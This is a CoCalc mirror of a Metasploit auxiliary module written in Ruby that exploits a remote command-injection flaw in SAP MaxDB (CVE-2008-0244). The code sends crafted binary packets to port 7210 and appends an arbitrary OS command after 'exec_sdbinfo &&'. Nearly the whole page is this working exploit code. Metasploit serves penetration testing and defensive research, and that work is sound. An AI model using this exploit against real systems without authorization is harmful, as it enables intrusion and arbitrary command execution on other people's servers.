CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'SAP MaxDB cons.exe Remote Command Injection',
12
'Description' => %q{
13
SAP MaxDB is prone to a remote command-injection vulnerability
14
because the application fails to properly sanitize user-supplied input.
15
},
16
'Author' => [ 'MC' ],
17
'License' => MSF_LICENSE,
18
'References' =>
19
[
20
['OSVDB', '40210' ],
21
['BID', '27206'],
22
['CVE', '2008-0244'],
23
],
24
'DisclosureDate' => '2008-01-09'))
25
26
register_options(
27
[
28
Opt::RPORT(7210),
29
OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
30
])
31
end
32
33
def run
34
connect
35
36
# Grab the MaxDB info.
37
pdbmsrv = "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"
38
pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"
39
pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"
40
pdbmsrv << "\x00\x07\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"
41
pdbmsrv << "\x07\x49\x33\x34\x33\x32\x00\x04\x50\x1C\x2A\x03\x52\x01\x03\x72"
42
pdbmsrv << "\x01\x09\x70\x64\x62\x6D\x73\x72\x76\x00"
43
44
db_version = "\x28\x00\x00\x00\x03\x3f\x00\x00\x01\x00\x00\x00\xc0\x0b\x00\x00"
45
db_version << "\x00\x00\x04\x00\x28\x00\x00\x00\x64\x62\x6d\x5f\x76\x65\x72\x73"
46
db_version << "\x69\x6f\x6e\x20\x20\x20\x20\x20"
47
48
sock.put(pdbmsrv)
49
sock.get_once
50
sock.put(db_version)
51
52
ver = sock.get_once || ''
53
54
info = ver[27,2000]
55
if (info.length > 0)
56
print_status(info)
57
end
58
59
# Send our command.
60
len = 39 + datastore['CMD'].length
61
62
data = len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"
63
data << "\x00\x00\x04\x00" + len.chr + "\x00\x00\x00\x65\x78\x65\x63\x5F\x73\x64"
64
data << "\x62\x69\x6E\x66\x6F\x20\x26\x26" + "#{datastore['CMD']}"
65
66
sock.put(data)
67
68
res = sock.get_once
69
print_line(res)
70
71
disconnect
72
73
end
74
end
75
76